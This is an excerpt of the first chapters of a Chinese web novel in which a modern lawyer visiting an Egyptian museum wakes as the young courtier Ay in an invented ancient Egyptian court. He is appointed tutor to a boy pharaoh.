《穿到法老身边做权臣(古埃及)》 1. 法老的诅咒 《穿到法老身边做权臣(古埃及)》全本免费阅读 “在一片名为努恩的无垠水域诞生了八位原始神,他们分别是努恩与瑙捏特,胡赫与昊海特,库克与考凯特,以及阿蒙和阿蒙涅特。 八神在水域中创造了一个岛屿,留下了一个蛋,诞生了太阳神拉。 太阳神拉为世界驱散黑暗,带来了生命与希望。 拉·阿图姆作为阿蒙的另一个化身,用体I液创造了他的一儿一女,生命神舒和秩序之神玛阿特,舒在阿图姆体I内膨I胀,变成了一个巨大的球。 阿蒙化身成工匠之神普塔赫,将阿图姆精心雕刻,命名为世界。 舒与玛阿特孕育出了天空女神努特,大地之神盖伯,舒托举起努特与盖伯分开,形成了天空与大地。 阿图姆派出自己的眼睛去监视他们,这只眼睛名为“拉之眼”,它是太阳也是星星也是月亮,还是普塔赫的妻子, 拉之眼勤恳地执行自己的任务,回到阿图姆身边时却发现自己已经被一只名为“显赫者”的新太阳取代。 拉之眼气愤大哭,流下的眼泪落到大地上,变成了人类。 太阳神拉·阿图姆亲临人间成为了统治埃及的第一位埃及王。” 博物馆里的向导尽职尽责地向来自世界各地的游客介绍着这独属于埃及的文化起源,放在平时她很少会说得这么详细,但今天…… 她的视线偷摸着往旁边瞄了一眼。 跟在她后面的男人高大魁梧,肌肉虬结,看着就非常不好惹,但就是这样的男人却紧跟在另一个男人身侧,隐隐做出保护的姿态。 向导看的就是这个人。 男人身形削瘦,哪怕是在盛夏的埃及,也将自己包裹在黑色西装里,极度地严谨与克制,高挺的鼻梁上架着墨镜,看不清眉眼,只暴露在外的皮肤光洁苍白,偏头听旁边魁梧男子说话时显出清晰而冷厉的下颌线。 沿途经过的人看到这两人的搭配都会不自觉地让开一步路,用自以为无人察觉的目光偷偷打量着他们。 哪怕是看不到全部的容貌,只凭借着年轻男人利落流畅的颌面,锋锐的轮廓线条就能猜测到这个男人会是怎样优越的五官。 站在他身边的魁梧男人带来的压迫感无形中加剧了他身上的冷淡气质,透着拒人于千里之外的气息。 男人带来的骚动还没平息,有人眼尖地看到博物馆的馆长穿过人群疾步而来。 馆长是一个五十多岁的男人,留着花白的胡子,臃肿的身体显得行走有几分艰难,许是来的匆忙,额头上满是热汗。 但他都顾不上擦,走到年轻男人面前,热情地伸出手:“伯伊律师,欢迎您的到来!” 看到馆长,伯伊露出一个浅淡的笑,顺势摘下墨镜,随手递给旁边身材魁梧的保镖。 保镖恭敬地接过,从背包里取出眼镜盒放进去。 他这一摘墨镜,周围顿时响起一片克制地吸气声。 伯伊的脸比他们想象中的还要好看,是一种乍看下极具冲击性的漂亮,带着尖锐的攻击性,没有遮挡的五官更显立体。 眉眼沉黑,在不经意间对视上时,那种漫不经心的审视让人不自觉屏住呼吸。 也不知道是眉眼中透出的笑意,还是那谦和的态度缘故,他身上那股生人勿近的气息倏地消散,反倒有了些芝兰玉树,温润如玉的风雅。 投向他的目光逐渐放肆大胆起来。 伯伊垂眸,借着博物馆内运作良好的灯光能看到对方厚实的掌心上一层晶莹透亮的汗渍。 他微微一顿,面带微笑地抬起手与对方浅浅握了下。 感觉到手上不一样的触感,馆长这才注意到对方带着半截皮质手套,恰到好处地包裹住修长的手指,袖口的腕骨分明且漂亮。 好伟大的一只手,馆长内心惊叹,他不是没见过好看的手,但确实是第一次看到有人能把手套戴得这么…… 他一时词穷,思考片刻才想到一个词——精雕细琢。 皮质手套紧紧贴合着手指,凸显出指骨漂亮的排布,手背肌腱清晰流畅,优雅又不缺乏力量感,浑然是艺术大师悉心打磨镌刻的完美作品。 也难怪有人说,拉神在创造人类时,有人是他精心雕刻,连头发丝,脚指甲都照顾周全,而有些人只是他身上甩下的一把汗。 “博克馆长,好久不见。”伯伊微微颔首,不动声色地收回手。 “确实是,上次匆匆一别,都没能和您说上几句话,之前的盗窃案多亏是你,不然我们还真是没有办法,”博克馆长又是一番感叹,“文物保护者面对这些盗贼真是百般无奈。” 周围的游客闻言忍不住慢下脚步,侧耳倾听,这是一件轰动全球的案件,传播力度极广。 半年前,博物馆遭遇了一起盗窃案,馆方联系了警方并且将小偷告上法庭,但因为对方是外国人,涉及到国界问题,案子就复杂起来,在运送证据的过程中运输人员公然在机场遭遇枪杀,这案子徒然棘手。 明眼人都看得出来,这是有人想保下这个小偷,十分明目张胆,无所畏惧。 一时之间没人敢接这个案子,能不能胜诉另说,主要是小命要紧。 直到一位亚裔律师出现,这人不仅接了案子,甚至打了一场漂亮的胜仗。 难道那位声名远扬的律师就是面前这个容貌出众的年轻男人? 围观的群众小声议论,不时偷觑两眼。 伯伊唇角微扬,露出个略带谦逊的笑容:“馆长客气了,主要是贵国在国际上拥有足够的话语权,贵馆地位举足轻重,倒是让我讨巧占了便宜。” 这一番话说得妥帖细致,直叫人心情舒畅,馆长心想,不愧是做律师的,真会说话,多说点爱听。 “我就非常欣赏你这样的年轻人,有能力又不骄傲,”馆长欣慰地一笑,“这是正在看新王国的历史?” 他的目光落在旁边的展柜上,神色有瞬间的转变,上面赫然写的就是第十八王朝的历史记载。 对比起其他文明古国详尽的史书,埃及在经历多个国家统治,语言文字混杂的情况下导致历史记载缺失严重,文明支离破碎,所以哪怕是最为辉煌鼎盛的新王国时期记载也不过是寥寥几笔。 伯伊像是没有看到他表情的细微变化,神色自若地笑道:“刚刚似乎是在说阿蒙神创世。” 顿了下,他不确定地看向向导小姐:“是这部分内容吗?” 向导小姐被他的笑容晃得神智有些飘散,甚至有种想要走上去摸一摸证明这样的脸是真实存在的,但不小心触及到馆长敦厚的脸又瞬间回神,清神醒脑的效果拉满。 “啊对,正在说创世,刚要到埃及历史部分。” 馆长又恢复了来时笑眯眯的模样:“既然都到十八王朝了,你就给咱们伯伊大律师详细讲解一番。” “好的,”向导小姐连忙点头,用眼神询问伯伊,在得到肯定回应后,继续自己刚刚被迫中断的讲解,“随着上埃及与下埃及的统一,古埃及文明正式揭开篇章。” 博克几次想要和伯伊搭话,但看对方似乎是对历史十分感兴趣,听得尤其认真,不时还会主动提问,他只好压下心里的琢磨,偃旗息鼓。 这么走了一会儿,一个博物馆的工作人员匆匆走过来请他帮忙,是一起馆员处理不了的投诉。 博克皱了皱眉,想训斥下属,但想到伯伊在身边,又忍了下去,十分抱歉地告辞,说晚上一起聚餐。 伯伊笑着说好,三人目送博克馆长离开。 “您继续。”伯伊对向导小姐示意,身边的保镖递上墨镜,伯伊略带歉意地解释道:“我不太习惯别人的视线,抱歉。” “没关系没关系。”向导小姐受宠若惊,连忙表示请随意。 眼看男人俊美的容貌再次被墨镜遮掩住,向导小姐嘴上说不在意,但心里还是遗憾的。 多好看的脸,不露出来真是暴殄天物啊。 几人的注意力重新回到历史文物上,向导小姐继续介绍—— “埃及历史中的鼎盛时期从十八王朝开始,这里就不得不说到一个最为出名的法老王,拉赫里斯,” 说到这,向导小姐顿了顿,问伯伊:“您之前有听说过这位少年法老王吗?” “很抱歉,让你失望了,”伯伊遗憾地一笑,“我读书时期的历史成绩从来没有及格过。” 向导小姐忍俊不禁,开口为他解围道:“不认识也是正常的,埃及历史记载本来就是残缺不全的,更何况您并不是本国的人,请让我为您详细地介绍一下这位著名的法老王。” 向导小姐的声音柔美,用极其舒缓的语气将一段尘封的历史缓缓道来—— “上个世纪末拉赫里斯的陵墓被盗墓贼发现,但所有进入的盗墓贼都离奇死亡,接连的死亡事件引起了全世界的轰动和好奇心,这个保存完好的陵墓从此曝光的世人面前,吸引了几批考古学家进入调查。” 说到这,向导小姐遗憾地叹了口气:“只不过考古学家们也相继死亡,无一幸免,死相离奇可怖,仿佛是沉睡的法老王对冒犯他的人类施加了诅咒,没有人可以逃过。” 伯伊配合着对方的节奏,故作惊讶地说:“这个我听说过,确实非常有名。” 向导小姐十分高兴:“对,就是这个传说,虽然法老的诅咒很吓人,但这位少年法老王却有着悲惨的一生,他九岁登基,却一直是祖母尼特夫人的傀儡,十六岁亲政又被权臣阿伊和武将塞贝克把控朝政……” 向导小姐歪了歪头, 2. 尼特夫人 《穿到法老身边做权臣(古埃及)》全本免费阅读 再度醒来,伯伊只觉得头疼,钻心地疼,就像是有一把钻子在脑子里来回地钻,太阳穴突突直跳,似乎下一秒血管就会胀I裂炸开。 “阿伊大人,您醒了?”一个陌生的声音响起,有脚步声靠近。 心脏有瞬间的停跳,伯伊感觉似乎有什么东西从自己的身体里生生剥离出去,他倏地睁开眼,被突如其来的阳光刺了一下,浸出生理性的眼泪。 拱形的天花板很高,描绘着繁复的花纹,色彩艳丽,下面支撑着白色雕花的圆柱,绘制着猫首人身芭斯泰特的亚麻布垂挂着,因为轻风拂过而微微荡漾。 恍惚间给人一种好像神明乘着光行走在人间的错觉。 这是在亚历山大图书馆? 伯伊闭了闭眼,不对,他们旅游的最后一站是博克馆长管理的博物馆,和亚历山大图书馆相距甚远。 这闭眼的时间已经足以让他回忆起之前的事情—— 那回响在耳边的悠扬驼铃声响,然后他就失去了意识,等再醒来就已经到了这个陌生的地方。 绑架?难道是博克…… 伯伊脑海中第一个想到的就是这个刚刚见过面的人,但很快他又在后面画上了问号。 做了十年律师,他的客户画像很杂,有黑I手党,也有资本家,像博克这种道貌岸然的委托人不在少数。 很多人对他的评价是无道德,无底线的律政高手。 对于这一点,伯伊从不反驳,追名逐利是人之本性,而他从来不会压抑自己的欲I望。 但也正是因为他黑白不忌,得罪的人不在少数,真要论心狠手辣,博克还远远排不上号。 “阿伊大人?”清醒时听到的声音又再一次出现。 伯伊下意识偏头去看,太阳穴猛地一扎,疼得他额角蹦起一根分明的青筋。 一个穿着白色亚麻裙的女人跪在榻边,及肩的黑发编了十几根辫子,似乎是看出他的不适想要凑上来看,但又因为某种畏惧而踟蹰不前。 “夏行呢?”他问。 夏行是跟在他身边的保镖,直到昏迷前他们都还在一辆车上。 女人愣了愣,抬起头眼里闪过迷茫:“夏行?阿伊大人您说的是哪位大人?” 少有地,伯伊觉得自己的脑子有点跟不上对方的思路,什么大人不大人的? 他的视线落在女人的脸上,蜜色的皮肤看上去很健康,描摹着浓重的眼线,眼尾微微上扬,猫眼般灵动,显出十足的娇媚。 衣服与其说是服装,不如说是一块白色的亚麻布在身上绕了一圈,只在腰间扎了布绳,勒出纤细的腰肢,手腕和脖颈上都带着红蓝色玛瑙制成的首饰。 宛若水墨画上点缀了浓墨重彩的一笔。 和他在博物馆壁画上看到的古埃及人穿搭一模一样。 女人偷觑着他的脸色,小心翼翼地补充道:“阿伊大人,梅丽特王后还在寝宫等您……” 阿伊……梅丽特王后…… 伯伊眼皮一跳,混沌的思绪被这两个并行的名字贯I穿,不久前,向导小姐还在用温柔的声音念叨了这两个名字不下二十次。 他忍着头痛坐起身,视线逡巡一圈。 这里显然是座宫殿,明艳又庄重的风格和他去参观的卡纳克神庙,阿布辛贝尔大神庙差不多。 只不过比起那些历史遗留下来,遍布尘埃的文明古迹,眼前的建筑显得非常的崭新,墙壁上的浮雕色彩鲜明,属于古埃及的神明立于其上,栩栩如生。 “梅丽特王后……”伯伊无声地咀嚼着这个名字。 他想,他的那些对手应该没有人会花费这么大的代价,造一座宫殿,编造一个谎言以此来羞辱他。 对那些人来说,能一枪崩了的人就绝对不会多废一点心思和精力。 “阿娜卡,阿伊大人还没有醒吗?”另一个同样衣着的女人脚步匆忙地走进宫殿,打断了伯伊的思路。 “醒了,芙芙女官,”被叫做阿娜卡的侍女连忙站起身,跪到离榻更远的地方,给女官大人让出位置,“伯伊大人刚醒,似乎还不太舒服。” 伯伊看向所谓的芙芙女官,三十出头的样子,衣着没有区别,但手上的饰品比阿娜卡的更多,材质也更好。 如果以此分辨等级,芙芙明显比阿娜卡更高。 芙芙女官走到伯伊的榻前跪下,看着伯伊轻声说:“阿伊大人,梅丽特王后问了好几次您的情况了。” “我这是怎么了?”伯伊按着额角,作出疼痛难忍的模样来。 但也是真钻心的疼,只不过比起刚醒的时候好上一些。 “您刚刚晕倒了,”芙芙女官似是安慰地说,“梅丽特王后非常关心您。” 伯伊瞥了眼她的跪姿,屁股没有压实,他神色不动地挪开视线。 礼行一半,说明她很着急带自己去见所谓的梅丽特王后,而且并没有表面上那么看重自己。 至少不如阿娜卡来得更为真实。 伯伊的视线在两个女人的身上来回巡视,半晌,他问:“梅丽特王后现在多少岁了?” 芙芙女官脸色一变,语气倏地严肃起来:“阿伊大人,注意您的言辞!” 跪在一侧的阿娜卡也没想到阿伊大人竟然会问出这样的问题,身体一抖,吓得几乎整个人都贴在了地上。 伯伊挑唇意味深长地笑了下:“我没少得罪人,总要知道是不是有人要害我。” 想到阿伊大人如今的处境,芙芙女官脸色稍霁,但还是略有些不快:“您应该清楚梅丽特王后非常讨厌别人议论她的年龄,希望下次您不要再提这样冒昧的问题。” 伯伊在这两个人身上没有看出演戏的成分,他站起身,语气轻松地说:“那麻烦你带我去见见……” 他顿了下,一笑:“梅丽特王后。” 阿娜卡起身的时候正好看到这个笑,只觉得神魂都飘了一下。 以前怎么没发现阿伊大人长这么好看呢,不对,也不能说没发现,阿伊大人也正是因为好看才会被梅丽特王后看中。 但以前她只是觉得是皮相上的出色,这种出色宫里的贵人并不少见,不像现在这样,只是一个笑容就让她失了神差点撞到芙芙女官。 芙芙女官打量了下伯伊,微微颔首:“那你跟我来。” 伯伊借着起身拉扯衣服的动作看到自己穿的也是一件白色的亚麻长衫,一块同样材质的布料松松地从左肩搭下来穿过胸膛束在右腰。 伯伊微不可察地蹙了下眉。 完全不符合他习惯的穿着。 “阿伊大人,您的饰品。”阿娜卡捧着饰品走上前为他穿戴,刚刚大人晕倒,她就擅自取了下来。 伯伊一顿,没有拒绝。 阿娜卡站在他面前,脸颊透出粉色,不敢抬头去看他的脸。 她的动作很麻利,却不失轻柔,迅速地把黄金制成的臂环,蛇形手环一一给伯伊戴上,最后是红绿色玛瑙镶嵌的黄金项链。 戴上项链的时候,伯伊只觉整个身体都跟着往下一沉。 “………” 芙芙女官满意地点点头,收回目光率先走出宫殿,伯伊不紧不慢地跟在她身后。 宫殿外是白色圆柱撑起的长廊,红色的菱格地毯铺在走廊中间,顶部悬挂着白色的亚麻布,如波浪般一直延伸到走廊的尽头。 廊外是花园,正中央挖了一个水池,绿色的植物扎根在水里,莲叶点缀在其中,给着浓艳的建筑风格增添了一抹舒缓与清爽。 花园的墙角放着许多大小不一的花瓶,瓶身上是神明的日常,画风依旧明艳,花瓶很大,有些比人还要高上一些。 伯伊不动声色地观察着周围。 这里何止是一个宫殿,全然是一个建筑群,从花园的出口能看到工整的楼梯,一层层铺下去,隐约能看到下面还有宫殿。 “阿伊大人 3. 自荐 《穿到法老身边做权臣(古埃及)》全本免费阅读 “真是苦了你了,从小就要背负这样的诅咒,”梅丽特不掩心疼地叹了口气,“既然这样,今天你就回去吧,好好歇着。” 伯伊顿了顿,低声说好。 “对了,”梅丽特突然想起什么,“我上次说的事情你考虑得怎么样了?” 伯伊:“………” 这事儿你还真是问错人了。 不过这对他来说不难,斟酌了下说:“我觉得这件事王后考虑非常周全,也很尊重我的意见,但我太愚笨,怕做不好辜负了王后的信任,想王后再具体给我说说。” 伯伊的行为准则之一,遇事不决就踢球。 只要顺从对方的话,并且对对方的言论大力支持,夸赞,就能很轻松地引出对方的所思所想。 梅丽特王后展颜一笑,不知道为什么总觉得今天的阿伊有一点不一样,但具体有什么不同又说不上来。 “把你安排到神殿是为了你好,”她说,“我知道你想跟在我身边,但我更希望你能去祭司团。” 去神殿? 伯伊顺势抬头,不动声色地把整个宫殿的布局都看在眼里,触及到内殿黄金制成的摆件时,他又淡淡垂下眼睫,心里有了计较。 “阿伊愿意听从王后的安排,”在众人看不到的地方,他的唇角微微扬起,轻声说:“能为王后所用是我的毕生追求。” 他不清楚为什么阿伊会变成梅丽特王后的人,也许这就是奴隶出身的阿伊为什么能位极人臣的原因,也不排除另一种可能,他是阿伊,但并不是权臣阿伊。 古埃及记载的历史残缺不全,大多都是后人根据出土文物上的只言片语推测出来的。 哪怕是这被誉为古埃及盛世开端的时代,描述也不过寥寥几行,对于权臣阿伊更是,只有两句—— “法老幼,受制于首相阿伊,法老亡,阿伊即位。” 阿伊在位四年,病故。 游客一眼看尽的数十个字,便是他波澜壮阔的一生。 除了能看出这个阿伊不折不扣的权臣身份,没有人能断定他到底是怎样的一个人。 但无论是他如今是什么身份,去神殿都比留在这里好。 伯伊完全不需要思考就做出了决定。 梅丽特微笑着点点头,虽然不知道是什么让阿伊改了主意,但她很满意这个结果。 “虽然只是小祭司,但祭祀的工作马虎不得,”她叮嘱道:“在神殿我不好照顾你,你要自己多花些心思。” “好。”伯伊顺着她的话往下接,面上流露出些许遗憾,“我还是更想要待在您身边。” 做戏就要做全套。 这个时候但凡是个正常人都会虚与委蛇一番,然后各自安好。 但—— 梅丽特:“既然这样那你明天再来侍寝吧。” 伯伊:? “阿伊大人倒是个会讨人喜欢的。”芙芙接过侍女的羽毛扇跪到梅丽特面前为她摇扇,笑着调侃道。 她跟在梅丽特王后身边二十多年,说话也比旁人多了几分亲近。 梅丽特轻笑:“美人总是要多几分特权,放眼前看着也赏心悦目不是,我说侍寝,看他高兴的,年轻人就是藏不住情绪。” 她每每笑起来,眼角就会堆叠起细细密密的褶皱,也只有这个时候,才会叫人意识到她如今已经五十有余。 芙芙笑着说是。 只要是对梅丽特王后稍有了解的人都知道,梅丽特王后对好看的人或者东西都多出许多的耐心,哪怕是死刑犯着了王后的眼,也有赦免的。 两个人说话随意,全然不在意当事人就在旁侧。 伯伊面带微笑,笑容三分真诚,三分受宠若惊和四分喜不自胜。 毕竟除了微笑,他也不知道这个时候能做什么。 多做多错,不如不做。 两个人正说着话,两名女官一前一后走近,无声地垂首站到旁侧。 梅丽特瞥她一眼,抬手示意,芙芙噤声不再多话,站在前面的女官见状上前一步轻声说:“梅丽特王后,大祭司派我来询问一下陛下先知的事情。” 陛下如今已经即位一年有余,但还不曾安排先知,治国之事皆是其祖母梅丽特王后在代为操持管理。 梅丽特脸上的笑容微敛:“大祭司对陛下的事情倒是比我还要上心。” “陛下尚且年幼,这个年纪的孩子都还爱玩,”芙芙轻摇羽毛扇,“我觉得还是不宜过早安排。” 梅丽特不轻不重地呵斥了她一句:“陛下和普通的孩子不同,怎么能为了玩乐荒废学习。” “王后说的是,”芙芙低头应和,“是我思虑不周。” 女官默不作声,垂手而立,身姿站得笔直。 伯伊和其他人一样,低垂着头,但话却是一句不落的听在耳里。 罢了,梅丽特看向女官:“那让他从神殿挑些人吧。” 历朝历代,法老王的教育都是神殿在负责,从中挑选出学识渊博的祭祀作为先知,教授法老读书习字,神学,星象,律法等等,各方各面。 “诺菲斯大祭司拟了一份名单。”女官说完,站在她身后的随从呈上一卷莎草纸。 没有侍女去接,随从捧着莎草纸一时不知如何是好,女官伸手接过,态度谦卑,单膝跪下展开莎草纸,以便侧卧着的梅丽特王后查看。 伯伊的位置正好能看到莎草纸上的内容,典型的古埃及象形文字,比起现代的书写显得繁杂又累赘。 但惊奇的是,他竟然能看懂。 上面写了五个人的名字,三个名字在左边,两个名字在右边,中间留在空白,泾渭分明,如同两个互不侵犯的堡垒。 “诺菲斯这心急的性子还真是从来没变过,”梅丽特轻笑一声,纤长的手指在莎草纸上划过,半晌,她收回手笑道:“教导陛下可不是小事,先知不妨再多上点儿,我也更安心一些。” “神殿也觉得五位先知会比四位更为周全,王后觉得安排谁合适?”女官一句话把梅丽特想加的人数设了上限。 身后的随从立刻递上笔和书写板,显然是有备而来。 梅丽特似笑非笑地睨她一眼,也不多说其他,只撑着头思考。 伯伊的视线从她发散的目光上一掠而过,垂下眼,手指细微地动了动,借着案几的遮挡把眼前的布带塞到果盘下压着。 整个过程悄无声息,完全没有人注意到他的小动作。 宫殿里静悄悄的,没有人说话,梅丽特不说,女官也不敢催,一直维持着手上的动作。 为王后捏腿的侍女完成了一边的工作,弓起身准备换到另一边时,身后的腰带感觉到点阻力,很细微很短暂的一瞬,似乎是被什么东西钩扯到了。 还不等她反应过来发生了什么,就听“哐当”一声巨响。 侍女吓白了一张脸,连忙转身跪下,都顾不上看是什么东西摔了,宫殿里所有的人都跟着跪了下去。 梅丽特撩了下眼皮:“一个果盘罢了,这么一惊一乍的干嘛?” 侍女闻言紧绷的神经微微一松,这才敢拿眼偷偷去看。 只见盛放水果的果盘向后翻倒在地上,因为金属质地,与地面磕碰的声音也尤其的刺耳,剥好的葡萄滚了一地。 不需要安排宫殿里的侍女已经开始收拾,动作极轻,没有发出一点动静。 这个时候,反倒是身份尴尬的伯伊跪坐在圆蒲上无所适从。 梅丽特的视线在他身上顿了顿,狭长的猫眼轻挑。 芙芙跟在梅丽特身边二十多年,对她的心思猜测向来精准,再想到阿伊如今的身份,心下了然,适时递上话头:“王后,您看阿伊大人如何?” 被点名的伯伊惊讶地抬起头,但在触及梅丽特和女官投过来的视线又立刻不声不响地垂了下去。 “阿伊?”梅丽特故作诧异地挑眉,“虽然他马上要去神殿就职,但毕竟年纪尚轻,只怕做不好辅佐陛下这样的事情。”< 4. 拉赫里斯 《穿到法老身边做权臣(古埃及)》全本免费阅读 伯伊如今的住处是在梅丽特王后宫殿的西北角偏殿。 在回去的路上,伯伊很轻松地就从心思单纯好猜的阿娜卡嘴里套出了关于自己的信息。 他名义上是梅丽特邀请进宫的舞者,但众所周知,被养在后宫的都是梅丽特的豢宠。 梅丽特王后的宫殿里像他这样的人不在少数,分别以舞者,乐师和吟游诗人的身份住在花园的西北宫殿。 只不过这些人不一定具备与身份相匹配的能力。 梅丽特王后没说这些身份的区别,但阿娜卡猜测是根据容貌,最好看的是舞者,依次是乐师和吟游诗人。 毕竟眼前这位舞者,虽然不会跳舞,但确实是美貌首屈一指的。 阿伊如今十六岁,是梅丽特王后两年前在山谷节上带回来的奴隶,养在后宫两年,为了去除他身上的奴隶气味,特意安排了人教他读书习字,学习礼仪,直到最近才召到殿前来。 被召的不止是他,一起来的有十几个,有四五个留在了偏殿,剩下的陆续离开了梅丽特的宫殿。 具体去了哪里阿娜卡就不清楚了。 伯伊暗忖,大概和自己一样,被安排去了神殿,或者是其他的管理机构。 这梅丽特借着养男宠的名义,培养自己的新鲜血液穿插到国家运作体系里,随时可以更替不再忠诚的旧势力,永远掌握着主动权。 大祭司已经是古埃及权利中心最顶尖的存在,仅次于法老王之下,却连给法老安排老师这样的小事情都需要看梅丽特的脸色行事,一退再退,足可见梅丽特的强势。 比起历史记载的那句“被尼特操控一生的阿蒙家族”,真实的当下更胜一筹。 知道了自己如今的处境,伯伊放下心来,看来自己和梅丽特王后说不上熟,加上阶级差异,自己被拆穿的可能性极低。 “我一直很奇怪,”伯伊想起自己头疼的事情,有意试探道:“为什么头疼要被称作诅咒?” 从听梅丽特说他身上有诅咒开始,伯伊就很在意了,总不能是他身上有什么不得了的大病吧…… 阿娜卡一愣:“你不知道?” 伯伊苦笑:“总是听到别人说,但他们都很害怕我,不肯跟我说话。” 至于这个他们是谁,伯伊也不知道,反正闭眼就是编。 阿娜卡十分同情,奴隶确实是被人瞧不起的,没想到好看的奴隶也是一样的境遇。 “伊姆霍特普在人间行走为他的子民医治,有个贪婪的人类却偷拿神明的药物去换取金银宝物,伊姆霍特普知道后很生气,决定要惩罚这个人类。” 伯伊大概猜到这个伊姆霍特普在古埃及的神话体系中大概是主管医疗与疾病的神明。 阿娜卡一脸虔诚地说:“阿努比斯说将这个人类赐死,但伊姆霍特普不忍生命消逝,于是在那个贪婪的人类身上下了诅咒,让他每年要经历一百天以上的头疾,每每发作疼痛难忍,祸及他的子孙后代。” 伯伊:“………” 一时不知道到底是谁更善良。 阿娜卡惋惜地看向他,安慰道:“这不能怪你,这是你祖先犯下的错。” 伯伊面带微笑:“谢谢你,我心里好受多了。” 一百天以上的头痛,按照现代医学解释,也许就是……偏头痛? 送到西北宫殿门口,阿娜卡就告辞了。 西北宫殿很大,围绕着花园盖了三个院落,说是住在西北宫殿,但其实只是在这座宫殿里分到了一个房间。 每个房间门口都挂着名字,伯伊一路找过去,顺利找到自己的名字回到了自己的住处。 没有奴隶仆从,住在这里的人大概就是自己打理自己的生活。 房间里收拾得很整齐,窗台案几纤尘不染,这一点让伯伊觉得非常满意,不过出于习惯,伯伊还是自己上手收拾了一遍,顺便看看有没有其他的收获。 书柜里的纸卷抽出来,是一些民间诗集,众神传记,还有学习写字的字帖,象形字的好处大概就是根本不用担心字迹露馅儿。 顶多只能说画风变了。 伯伊发现他根本没有需要准备的,这房间干净得好像主人当天就要远行,连一点私房钱都没有。 稍顿,伯伊突然想起来,在古埃及的历史上并没有货币出现,他们一直维持着以物易物的交易方式。 通常是以金银铜或者生活必需品进行贸易活动。 于是他又把房间找了一遍。 很好,确实是兜比脸还干净,甚至连饰品伯伊都没有找到。显然他现在身上这套已经是阿伊拿出去见人的全部行头了。 整个房间透着纯粹的寒酸气息。 伯伊拿着那几卷大概是西北宫殿标配的莎草纸书,略带嫌弃,但想了想还是塞进了自己的行囊。 蚊子再小也是肉。 梅丽特总不能还要跟他计较这几卷书。 傍晚时分,空气中浮动着隐隐的饭菜香。 伯伊打开窗户,正好看到有人三三两两地从花园经过,几个人说说笑笑地朝着一个方向走,看上去关系不错。 几个人看上去年龄二十出头,皆是眉目清秀,说不上养尊处优,但也是吃喝不愁,无须做苦活累活,蜜色的皮肤显得朝气蓬勃,扎堆站在一起看着极为养眼。 嬉笑怒骂好不开朗,浑然是少年不识愁滋味的景象。 这院子里没有仆役,人数众多,总不能特意安排人来送吃食,等人吃完又取走餐盘。 所以伯伊猜测西北宫殿应该有类似于食堂的地方,让宫殿的人集中用餐。 大家穿的衣服都差不多,白色亚麻质地,只不过腰上的腰带和身上的饰品有细微的不同,伯伊还看到其中一个人和自己的衣着饰品是一样的。 似乎是察觉到他的视线,其中一个人突然转头看过来,两人的目光隔着半个花园相遇。 对方是个少年,一头及手肘的黑发披散在身后,脸颊两侧垂着辫子,伯伊对外国人有轻微的脸盲,在他眼里外国人长得都差不多。 不过这个男孩子不太一样的是他的瞳仁是浅灰色的,莫名让人想到一种宝石,金属灰尖晶石。 看着不像是埃及人,不过也不排除是混血的可能。 很独特的眼睛,伯伊想。 不过这些都与他无关,他漠然地收回视线,在少年的注视中关上窗。 马上就要离开这里了,多一事不如少一事。 外面嬉笑的声音陆陆续续地响了许久,大概两个小时才渐渐散去。 这期间有无数人经过伯伊的窗前,不过和他猜想的一样,阿伊在这个宫殿里的人缘极差,根本就没有朋友。 无他,从这两袖清风的房间就能看出来。 朋友之间难免会有些礼物往来,但阿伊的屋里根本就没有这些玩意儿,客间的矮几都只配了一个坐垫,完全没有要招待客人的意思。 看着就是孤家寡人一个。 不过伯伊也大概能猜到一些当事人的想法,如果阿伊有足够的野心,他就不会试图去和这群想要在梅丽特身边安逸等死的人打好关系。 用现代人的说法就是拒绝无用社交。 这一点从空荡荡的房间也看得出来,这个人随时做好了离开这里的打算。 要么是从此一步青云,如果不能,那就离开此地去寻找另一片青云。 伯伊挑唇笑了下,虽然没见过这个阿伊,但他竟然还有点欣赏对方。 有野心,并且时刻为野心准备着。 在这个房间里,他才开始有点相信,这个阿伊就是那个历史记载的权臣阿伊,充满政治野心的阿伊。 即便眼下年纪尚轻,羽翼未丰。 虽然不知道出了什么意外,让自己顶替了他,对此伯伊没有感到丝毫的愧疚,如果这个人是和自己互换了身体,那他在现代的身份地位,财产可以让阿伊大展拳脚。 比自己这个一穷二白的开局可就漂亮多了。 如果这个人是死了,那自己的出现可以延续他的野心。 没错,延续对方的野心。 伯伊轻笑一声,无论自己的身份是不是历史记载的那个人,他都会是权臣阿伊,总不能辜负了这个名字。 这种感觉就像是玩游戏的时候打出了一种全成就结局,不过瘾,决定重开。 现在他准备打出另一个结局。 无论是权臣还是法老,都叫人跃跃欲试。 翌日。 神殿的人早早来了西北宫殿接人,来以前他们料想要等一个时辰以上,毕竟奴隶向来都是不守时的,无纪律的代表。 没成想,对方竟然已经准备好了,虽然心下讶异,但神殿的人却是什么都没说,视线在伯伊手上的小箱子上略过。 东西少得可怜,符合他们对奴隶的印象。 奴隶,生来就是为了偿还自己上辈子未尽的罪责,他们连同生命都卖给了魔鬼阿克胡。 这样的人又能拥有什么属于自己的东西呢。 伯伊跟着他们离开西北宫殿的时候,整个宫殿还在沉睡,天色蒙蒙,清晨的花园里雾气浓重,露珠沉甸甸地挂在叶尖,花瓣上,把满园娇嫩的花骨朵压得低着头,弯了腰。 经过花园的出口时,伯伊垂眸,蓝睡莲于水中优雅苏醒,缓缓绽放,幽蓝渐变花瓣围绕着嫩黄色的花蕊,徒增一抹神秘色彩。 好像下一刻就会有神明从花间缓缓而出。 他的心情颇好,唇角扬起一抹笑意。 这个笑容一直持续到法老的宫殿才刻意收敛起来。 法老的宫殿历史悠久,经过一代又一代的法老王修缮,重建,哪怕梅丽特宫殿再三精修雕琢也不及法老宫殿的十分之一。 高大巍峨的建筑在天色微亮中犹如潜伏的巨兽,狰狞地挥舞着爪牙,人行走在其中渺小若沙,走廊两侧是跳跃的烛火,脚步声回响在空荡的建筑中,每一步每一声都格外清晰。 悠长的走廊墙壁上是世界起源的八神与阿蒙神的创世,艳丽的着色生动地描述着独属于古埃及数千年的神明信仰。 神殿的人先把伯伊领到了他的新住处。 神殿给他安排的是一间名为麦涅乌的偏殿,也是占了先知这个身份的好处,还给他配了四个随从。 “先知大人,您先沐浴更衣,”神殿人员态度不卑不亢,叫人寻不到一丝错处,“在阿恩特时辰末尾,太阳完全升起时,我会来接您去面见陛下。” 5. 三笑之仇 《穿到法老身边做权臣(古埃及)》全本免费阅读 拉赫里斯已经在宫殿等了整整一上午,天不亮就已经有先知的队伍候在门口等待面见。 这漫长的时间里,他必须身体笔直地坐着,以维持法老的威仪。 神殿安排的先知陆续赶到。 